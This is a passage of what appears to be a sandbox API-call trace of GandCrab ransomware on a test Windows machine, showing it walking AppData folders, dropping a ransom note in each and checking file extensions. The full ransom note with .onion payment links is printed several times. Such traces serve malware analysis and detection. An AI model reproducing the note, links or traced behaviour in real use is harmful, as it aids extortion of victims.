hwnd=0x0, pszPath=0x2730000, csidl=28, fCreate=0 | out: pszPath="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Local") returned 1 [0054.054] VirtualFree (lpAddress=0x2730000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0054.054] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Excel\\XLSTART\\") returned 62 [0054.054] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Excel\\XLSTART\\", lpString2="*" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Excel\\XLSTART\\*") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Excel\\XLSTART\\*" [0054.054] FindFirstFileW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Excel\\XLSTART\\*", lpFindFileData=0x285e898 | out: lpFindFileData=0x285e898) returned 0x5b8730 [0054.055] lstrcmpW (lpString1=".", lpString2=".") returned 0 [0054.055] FindNextFileW (in: hFindFile=0x5b8730, lpFindFileData=0x285e898 | out: lpFindFileData=0x285e898) returned 1 [0054.055] lstrcmpW (lpString1="..", lpString2=".") returned 1 [0054.055] lstrcmpW (lpString1="..", lpString2="..") returned 0 [0054.055] FindNextFileW (in: hFindFile=0x5b8730, lpFindFileData=0x285e898 | out: lpFindFileData=0x285e898) returned 0 [0054.055] FindClose (in: hFindFile=0x5b8730 | out: hFindFile=0x5b8730) returned 1 [0054.055] VirtualAlloc (lpAddress=0x0, dwSize=0x402, flAllocationType=0x3000, flProtect=0x40) returned 0x2730000 [0054.055] wsprintfW (in: param_1=0x2730000, param_2="%s\\GDCB-DECRYPT.txt" | out: param_1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Excel\\XLSTART\\\\GDCB-DECRYPT.txt") returned 79 [0054.055] CreateFileW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Excel\\XLSTART\\\\GDCB-DECRYPT.txt" (normalized: "c:\\users\\ciihmnxmn6ps\\appdata\\roaming\\microsoft\\excel\\xlstart\\gdcb-decrypt.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x4fc [0054.056] lstrlenW (lpString="---= GANDCRAB =---\r\n\r\nAttention!\r\nAll your files documents, photos, databases and other important files are encrypted and have the extension: .GDCB \r\nThe only method of recovering files is to purchase a private key. It is on our server and only we can recover your files.\r\nThe server with your key is in a closed network TOR. You can get there by the following ways:\r\n1. Download Tor browser - https://www.torproject.org/\r\n2. Install Tor browser\r\n3. Open Tor Browser\r\n4. Open link in tor browser: http://gdcbghvjyqy7jclk.onion/dce1bb8bd2ca4def \r\n5. Follow the instructions on this page\r\n\r\n\r\nIf Tor/Tor browser is locked in your country or you can not install it, open one of the following links in your regular browser:\r\n1. http://gdcbghvjyqy7jclk.onion.top/dce1bb8bd2ca4def \r\n2. http://gdcbghvjyqy7jclk.onion.casa/dce1bb8bd2ca4def \r\n3. http://gdcbghvjyqy7jclk.onion.guide/dce1bb8bd2ca4def \r\n4. http://gdcbghvjyqy7jclk.onion.rip/dce1bb8bd2ca4def \r\n5. http://gdcbghvjyqy7jclk.onion.plus/dce1bb8bd2ca4def \r\n\r\nOn our page you will see instructions on payment and get the opportunity to decrypt 1 file for free.\r\n\r\nDANGEROUS!\r\nDo not try to modify files or use your own private key - this will result in the loss of your data forever!\r\n") returned 1387 [0054.056] WriteFile (in: hFile=0x4fc, lpBuffer=0x412010*, nNumberOfBytesToWrite=0xad6, lpNumberOfBytesWritten=0x285eaec, lpOverlapped=0x0 | out: lpBuffer=0x412010*, lpNumberOfBytesWritten=0x285eaec*=0xad6, lpOverlapped=0x0) returned 1 [0054.056] CloseHandle (hObject=0x4fc) returned 1 [0054.056] VirtualFree (lpAddress=0x2730000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0054.056] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Excel\\XLSTART\\") returned 62 [0054.056] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Excel\\XLSTART\\", lpString2="*" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Excel\\XLSTART\\*") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Excel\\XLSTART\\*" [0054.056] FindFirstFileW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Excel\\XLSTART\\*", lpFindFileData=0x285eb08 | out: lpFindFileData=0x285eb08) returned 0x5b86b0 [0054.056] lstrcmpW (lpString1=".", lpString2=".") returned 0 [0054.056] FindNextFileW (in: hFindFile=0x5b86b0, lpFindFileData=0x285eb08 | out: lpFindFileData=0x285eb08) returned 1 [0054.057] lstrcmpW (lpString1="..", lpString2=".") returned 1 [0054.057] lstrcmpW (lpString1="..", lpString2="..") returned 0 [0054.057] FindNextFileW (in: hFindFile=0x5b86b0, lpFindFileData=0x285eb08 | out: lpFindFileData=0x285eb08) returned 1 [0054.057] lstrcmpW (lpString1="GDCB-DECRYPT.txt", lpString2=".") returned 1 [0054.057] lstrcmpW (lpString1="GDCB-DECRYPT.txt", lpString2="..") returned 1 [0054.057] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Excel\\XLSTART\\", lpString2="GDCB-DECRYPT.txt" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Excel\\XLSTART\\GDCB-DECRYPT.txt") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Excel\\XLSTART\\GDCB-DECRYPT.txt" [0054.057] VirtualAlloc (lpAddress=0x0, dwSize=0x400, flAllocationType=0x3000, flProtect=0x40) returned 0x2730000 [0054.057] wsprintfW (in: param_1=0x2730000, param_2="%s" | out: param_1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Excel\\XLSTART\\GDCB-DECRYPT.txt") returned 78 [0054.057] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Excel\\XLSTART\\GDCB-DECRYPT.txt") returned 78 [0054.057] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Excel\\XLSTART\\GDCB-DECRYPT.txt") returned 78 [0054.057] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Excel\\XLSTART\\GDCB-DECRYPT.txt") returned 78 [0054.057] lstrcmpiW (lpString1="GDCB-DECRYPT.txt", lpString2="desktop.ini") returned 1 [0054.057] lstrcmpiW (lpString1="GDCB-DECRYPT.txt", lpString2="autorun.inf") returned 1 [0054.057] lstrcmpiW (lpString1="GDCB-DECRYPT.txt", lpString2="ntuser.dat") returned -1 [0054.057] lstrcmpiW (lpString1="GDCB-DECRYPT.txt", lpString2="iconcache.db") returned -1 [0054.057] lstrcmpiW (lpString1="GDCB-DECRYPT.txt", lpString2="bootsect.bak") returned 1 [0054.057] lstrcmpiW (lpString1="GDCB-DECRYPT.txt", lpString2="boot.ini") returned 1 [0054.057] lstrcmpiW (lpString1="GDCB-DECRYPT.txt", lpString2="ntuser.dat.log") returned -1 [0054.057] lstrcmpiW (lpString1="GDCB-DECRYPT.txt", lpString2="thumbs.db") returned -1 [0054.057] lstrcmpiW (lpString1="GDCB-DECRYPT.txt", lpString2="GDCB-DECRYPT.txt") returned 0 [0054.057] VirtualFree (lpAddress=0x2730000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0054.057] FindNextFileW (in: hFindFile=0x5b86b0, lpFindFileData=0x285eb08 | out: lpFindFileData=0x285eb08) returned 0 [0054.057] FindClose (in: hFindFile=0x5b86b0 | out: hFindFile=0x5b86b0) returned 1 [0054.057] FindNextFileW (in: hFindFile=0x5b85b0, lpFindFileData=0x285ed90 | out: lpFindFileData=0x285ed90) returned 0 [0054.057] FindClose (in: hFindFile=0x5b85b0 | out: hFindFile=0x5b85b0) returned 1 [0054.057] FindNextFileW (in: hFindFile=0x565640, lpFindFileData=0x285f018 | out: lpFindFileData=0x285f018) returned 1 [0054.057] lstrcmpW (lpString1="GDCB-DECRYPT.txt", lpString2=".") returned 1 [0054.057] lstrcmpW (lpString1="GDCB-DECRYPT.txt", lpString2="..") returned 1 [0054.057] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\", lpString2="GDCB-DECRYPT.txt" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\GDCB-DECRYPT.txt") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\GDCB-DECRYPT.txt" [0054.057] VirtualAlloc (lpAddress=0x0, dwSize=0x400, flAllocationType=0x3000, flProtect=0x40) returned 0x2730000 [0054.058] wsprintfW (in: param_1=0x2730000, param_2="%s" | out: param_1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\GDCB-DECRYPT.txt") returned 64 [0054.058] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\GDCB-DECRYPT.txt") returned 64 [0054.058] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\GDCB-DECRYPT.txt") returned 64 [0054.058] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\GDCB-DECRYPT.txt") returned 64 [0054.058] lstrcmpiW (lpString1="GDCB-DECRYPT.txt", lpString2="desktop.ini") returned 1 [0054.058] lstrcmpiW (lpString1="GDCB-DECRYPT.txt", lpString2="autorun.inf") returned 1 [0054.058] lstrcmpiW (lpString1="GDCB-DECRYPT.txt", lpString2="ntuser.dat") returned -1 [0054.058] lstrcmpiW (lpString1="GDCB-DECRYPT.txt", lpString2="iconcache.db") returned -1 [0054.058] lstrcmpiW (lpString1="GDCB-DECRYPT.txt", lpString2="bootsect.bak") returned 1 [0054.058] lstrcmpiW (lpString1="GDCB-DECRYPT.txt", lpString2="boot.ini") returned 1 [0054.058] lstrcmpiW (lpString1="GDCB-DECRYPT.txt", lpString2="ntuser.dat.log") returned -1 [0054.058] lstrcmpiW (lpString1="GDCB-DECRYPT.txt", lpString2="thumbs.db") returned -1 [0054.058] lstrcmpiW (lpString1="GDCB-DECRYPT.txt", lpString2="GDCB-DECRYPT.txt") returned 0 [0054.058] VirtualFree (lpAddress=0x2730000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0054.058] FindNextFileW (in: hFindFile=0x565640, lpFindFileData=0x285f018 | out: lpFindFileData=0x285f018) returned 1 [0054.058] lstrcmpW (lpString1="Internet Explorer", lpString2=".") returned 1 [0054.058] lstrcmpW (lpString1="Internet Explorer", lpString2="..") returned 1 [0054.058] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\", lpString2="Internet Explorer" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Internet Explorer") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Internet Explorer" [0054.058] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Internet Explorer", lpString2="\\" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Internet Explorer\\") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Internet Explorer\\" [0054.058] VirtualAlloc (lpAddress=0x0, dwSize=0x201, flAllocationType=0x3000, flProtect=0x40) returned 0x2730000 [0054.058] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x2730000, csidl=42, fCreate=0 | out: pszPath="C:\\Program Files (x86)") returned 1 [0054.058] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x2730000, csidl=43, fCreate=0 | out: pszPath="C:\\Program Files (x86)\\Common Files") returned 1 [0054.058] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x2730000, csidl=36, fCreate=0 | out: pszPath="C:\\Windows") returned 1 [0054.058] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x2730000, csidl=28, fCreate=0 | out: pszPath="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Local") returned 1 [0054.058] VirtualFree (lpAddress=0x2730000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0054.058] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Internet Explorer\\") returned 66 [0054.058] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Internet Explorer\\", lpString2="*" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Internet Explorer\\*") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Internet Explorer\\*" [0054.058] FindFirstFileW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Internet Explorer\\*", lpFindFileData=0x285eb20 | out: lpFindFileData=0x285eb20) returned 0x5b8730 [0054.059] lstrcmpW (lpString1=".", lpString2=".") returned 0 [0054.059] FindNextFileW (in: hFindFile=0x5b8730, lpFindFileData=0x285eb20 | out: lpFindFileData=0x285eb20) returned 1 [0054.059] lstrcmpW (lpString1="..", lpString2=".") returned 1 [0054.059] lstrcmpW (lpString1="..", lpString2="..") returned 0 [0054.059] FindNextFileW (in: hFindFile=0x5b8730, lpFindFileData=0x285eb20 | out: lpFindFileData=0x285eb20) returned 1 [0054.059] lstrcmpW (lpString1="Quick Launch", lpString2=".") returned 1 [0054.059] lstrcmpW (lpString1="Quick Launch", lpString2="..") returned 1 [0054.059] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Internet Explorer\\", lpString2="Quick Launch" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Internet Explorer\\Quick Launch") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Internet Explorer\\Quick Launch" [0054.059] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Internet Explorer\\Quick Launch") returned 78 [0054.059] FindNextFileW (in: hFindFile=0x5b8730, lpFindFileData=0x285eb20 | out: lpFindFileData=0x285eb20) returned 1 [0054.059] lstrcmpW (lpString1="UserData", lpString2=".") returned 1 [0054.059] lstrcmpW (lpString1="UserData", lpString2="..") returned 1 [0054.059] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Internet Explorer\\", lpString2="UserData" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Internet Explorer\\UserData") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Internet Explorer\\UserData" [0054.059] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Internet Explorer\\UserData") returned 74 [0054.059] FindNextFileW (in: hFindFile=0x5b8730, lpFindFileData=0x285eb20 | out: lpFindFileData=0x285eb20) returned 0 [0054.059] FindClose (in: hFindFile=0x5b8730 | out: hFindFile=0x5b8730) returned 1 [0054.059] VirtualAlloc (lpAddress=0x0, dwSize=0x402, flAllocationType=0x3000, flProtect=0x40) returned 0x2730000 [0054.059] wsprintfW (in: param_1=0x2730000, param_2="%s\\GDCB-DECRYPT.txt" | out: param_1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Internet Explorer\\\\GDCB-DECRYPT.txt") returned 83 [0054.059] CreateFileW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Internet Explorer\\\\GDCB-DECRYPT.txt" (normalized: "c:\\users\\ciihmnxmn6ps\\appdata\\roaming\\microsoft\\internet explorer\\gdcb-decrypt.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x4f8 [0054.060] lstrlenW (lpString="---= GANDCRAB =---\r\n\r\nAttention!\r\nAll your files documents, photos, databases and other important files are encrypted and have the extension: .GDCB \r\nThe only method of recovering files is to purchase a private key. It is on our server and only we can recover your files.\r\nThe server with your key is in a closed network TOR. You can get there by the following ways:\r\n1. Download Tor browser - https://www.torproject.org/\r\n2. Install Tor browser\r\n3. Open Tor Browser\r\n4. Open link in tor browser: http://gdcbghvjyqy7jclk.onion/dce1bb8bd2ca4def \r\n5. Follow the instructions on this page\r\n\r\n\r\nIf Tor/Tor browser is locked in your country or you can not install it, open one of the following links in your regular browser:\r\n1. http://gdcbghvjyqy7jclk.onion.top/dce1bb8bd2ca4def \r\n2. http://gdcbghvjyqy7jclk.onion.casa/dce1bb8bd2ca4def \r\n3. http://gdcbghvjyqy7jclk.onion.guide/dce1bb8bd2ca4def \r\n4. http://gdcbghvjyqy7jclk.onion.rip/dce1bb8bd2ca4def \r\n5. http://gdcbghvjyqy7jclk.onion.plus/dce1bb8bd2ca4def \r\n\r\nOn our page you will see instructions on payment and get the opportunity to decrypt 1 file for free.\r\n\r\nDANGEROUS!\r\nDo not try to modify files or use your own private key - this will result in the loss of your data forever!\r\n") returned 1387 [0054.060] WriteFile (in: hFile=0x4f8, lpBuffer=0x412010*, nNumberOfBytesToWrite=0xad6, lpNumberOfBytesWritten=0x285ed74, lpOverlapped=0x0 | out: lpBuffer=0x412010*, lpNumberOfBytesWritten=0x285ed74*=0xad6, lpOverlapped=0x0) returned 1 [0054.061] CloseHandle (hObject=0x4f8) returned 1 [0054.061] VirtualFree (lpAddress=0x2730000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0054.061] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Internet Explorer\\") returned 66 [0054.061] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Internet Explorer\\", lpString2="*" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Internet Explorer\\*") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Internet Explorer\\*" [0054.061] FindFirstFileW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Internet Explorer\\*", lpFindFileData=0x285ed90 | out: lpFindFileData=0x285ed90) returned 0x5b8970 [0054.061] lstrcmpW (lpString1=".", lpString2=".") returned 0 [0054.061] FindNextFileW (in: hFindFile=0x5b8970, lpFindFileData=0x285ed90 | out: lpFindFileData=0x285ed90) returned 1 [0054.062] lstrcmpW (lpString1="..", lpString2=".") returned 1 [0054.062] lstrcmpW (lpString1="..", lpString2="..") returned 0 [0054.062] FindNextFileW (in: hFindFile=0x5b8970, lpFindFileData=0x285ed90 | out: lpFindFileData=0x285ed90) returned 1 [0054.062] lstrcmpW (lpString1="GDCB-DECRYPT.txt", lpString2=".") returned 1 [0054.062] lstrcmpW (lpString1="GDCB-DECRYPT.txt", lpString2="..") returned 1 [0054.062] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Internet Explorer\\", lpString2="GDCB-DECRYPT.txt" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Internet Explorer\\GDCB-DECRYPT.txt") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Internet Explorer\\GDCB-DECRYPT.txt" [0054.062] VirtualAlloc (lpAddress=0x0, dwSize=0x400, flAllocationType=0x3000, flProtect=0x40) returned 0x2730000 [0054.062] wsprintfW (in: param_1=0x2730000, param_2="%s" | out: param_1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Internet Explorer\\GDCB-DECRYPT.txt") returned 82 [0054.062] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Internet Explorer\\GDCB-DECRYPT.txt") returned 82 [0054.062] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Internet Explorer\\GDCB-DECRYPT.txt") returned 82 [0054.062] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Internet Explorer\\GDCB-DECRYPT.txt") returned 82 [0054.062] lstrcmpiW (lpString1="GDCB-DECRYPT.txt", lpString2="desktop.ini") returned 1 [0054.062] lstrcmpiW (lpString1="GDCB-DECRYPT.txt", lpString2="autorun.inf") returned 1 [0054.062] lstrcmpiW (lpString1="GDCB-DECRYPT.txt", lpString2="ntuser.dat") returned -1 [0054.062] lstrcmpiW (lpString1="GDCB-DECRYPT.txt", lpString2="iconcache.db") returned -1 [0054.062] lstrcmpiW (lpString1="GDCB-DECRYPT.txt", lpString2="bootsect.bak") returned 1 [0054.062] lstrcmpiW (lpString1="GDCB-DECRYPT.txt", lpString2="boot.ini") returned 1 [0054.062] lstrcmpiW (lpString1="GDCB-DECRYPT.txt", lpString2="ntuser.dat.log") returned -1 [0054.062] lstrcmpiW (lpString1="GDCB-DECRYPT.txt", lpString2="thumbs.db") returned -1 [0054.062] lstrcmpiW (lpString1="GDCB-DECRYPT.txt", lpString2="GDCB-DECRYPT.txt") returned 0 [0054.062] VirtualFree (lpAddress=0x2730000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0054.062] FindNextFileW (in: hFindFile=0x5b8970, lpFindFileData=0x285ed90 | out: lpFindFileData=0x285ed90) returned 1 [0054.062] lstrcmpW (lpString1="Quick Launch", lpString2=".") returned 1 [0054.062] lstrcmpW (lpString1="Quick Launch", lpString2="..") returned 1 [0054.062] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Internet Explorer\\", lpString2="Quick Launch" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Internet Explorer\\Quick Launch") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Internet Explorer\\Quick Launch" [0054.062] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Internet Explorer\\Quick Launch", lpString2="\\" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Internet Explorer\\Quick Launch\\") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Internet Explorer\\Quick Launch\\" [0054.062] VirtualAlloc (lpAddress=0x0, dwSize=0x201, flAllocationType=0x3000, flProtect=0x40) returned 0x2730000 [0054.062] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x2730000, csidl=42, fCreate=0 | out: pszPath="C:\\Program Files (x86)") returned 1 [0054.062] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x2730000, csidl=43, fCreate=0 | out: pszPath="C:\\Program Files (x86)\\Common Files") returned 1 [0054.062] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x2730000, csidl=36, fCreate=0 | out: pszPath="C:\\Windows") returned 1 [0054.062] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x2730000, csidl=28, fCreate=0 | out: pszPath="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Local") returned 1 [0054.062] VirtualFree (lpAddress=0x2730000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0054.063] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Internet Explorer\\Quick Launch\\") returned 79 [0054.063] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Internet Explorer\\Quick Launch\\", lpString2="*" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Internet Explorer\\Quick Launch\\*") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Internet Explorer\\Quick Launch\\*" [0054.063] FindFirstFileW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Internet Explorer\\Quick Launch\\*", lpFindFileData=0x285e898 | out: lpFindFileData=0x285e898) returned 0x5b8630 [0054.063] lstrcmpW (lpString1=".", lpString2=".") returned 0 [0054.063] FindNextFileW (in: hFindFile=0x5b8630, lpFindFileData=0x285e898 | out: lpFindFileData=0x285e898) returned 1 [0054.063] lstrcmpW (lpString1="..", lpString2=".") returned 1 [0054.063] lstrcmpW (lpString1="..", lpString2="..") returned 0 [0054.063] FindNextFileW (in: hFindFile=0x5b8630, lpFindFileData=0x285e898 | out: lpFindFileData=0x285e898) returned 1 [0054.063] lstrcmpW (lpString1="desktop.ini", lpString2=".") returned 1 [0054.063] lstrcmpW (lpString1="desktop.ini", lpString2="..") returned 1 [0054.063] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Internet Explorer\\Quick Launch\\", lpString2="desktop.ini" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Internet Explorer\\Quick Launch\\desktop.ini") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Internet Explorer\\Quick Launch\\desktop.ini" [0054.063] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Internet Explorer\\Quick Launch\\desktop.ini") returned 90 [0054.063] lstrcmpW (lpString1=".ini", lpString2=".sql") returned -1 [0054.063] FindNextFileW (in: hFindFile=0x5b8630, lpFindFileData=0x285e898 | out: lpFindFileData=0x285e898) returned 1 [0054.063] lstrcmpW (lpString1="Google Chrome.lnk", lpString2=".") returned 1 [0054.063] lstrcmpW (lpString1="Google Chrome.lnk", lpString2="..") returned 1 [0054.063] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Internet Explorer\\Quick Launch\\", lpString2="Google Chrome.lnk" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Internet Explorer\\Quick Launch\\Google Chrome.lnk") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Internet Explorer\\Quick Launch\\Google Chrome.lnk" [0054.063] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Internet Explorer\\Quick Launch\\Google Chrome.lnk") returned 96 [0054.063] lstrcmpW (lpString1=".lnk", lpString2=".sql") returned -1 [0054.063] FindNextFileW (in: hFindFile=0x5b8630, lpFindFileData=0x285e898 | out: lpFindFileData=0x285e898) returned 1 [0054.063] lstrcmpW (lpString1="Microsoft Outlook.lnk", lpString2=".") returned 1 [0054.063] lstrcmpW (lpString1="Microsoft Outlook.lnk", lpString2="..") returned 1 [0054.063] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Internet Explorer\\Quick Launch\\", lpString2="Microsoft Outlook.lnk" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Internet Explorer\\Quick Launch\\Microsoft Outlook.lnk") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Internet Explorer\\Quick Launch\\Microsoft Outlook.lnk" [0054.063] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Internet Explorer\\Quick Launch\\Microsoft Outlook.lnk") returned 100 [0054.063] lstrcmpW (lpString1=".lnk", lpString2=".sql") returned -1 [0054.063] FindNextFileW (in: hFindFile=0x5b8630, lpFindFileData=0x285e898 | out: lpFindFileData=0x285e898) returned 1 [0054.063] lstrcmpW (lpString1="Shows Desktop.lnk", lpString2=".") returned 1 [0054.063] lstrcmpW (lpString1="Shows Desktop.lnk", lpString2="..") returned 1 [0054.063] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Internet Explorer\\Quick Launch\\", lpString2="Shows Desktop.lnk" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Internet Explorer\\Quick Launch\\Shows Desktop.lnk") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Internet Explorer\\Quick Launch\\Shows Desktop.lnk" [0054.063] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Internet Explorer\\Quick Launch\\Shows Desktop.lnk") returned 96 [0054.063] lstrcmpW (lpString1=".lnk", lpString2=".sql") returned -1 [0054.063] FindNextFileW (in: hFindFile=0x5b8630, lpFindFileData=0x285e898 | out: lpFindFileData=0x285e898) returned 1 [0054.063] lstrcmpW 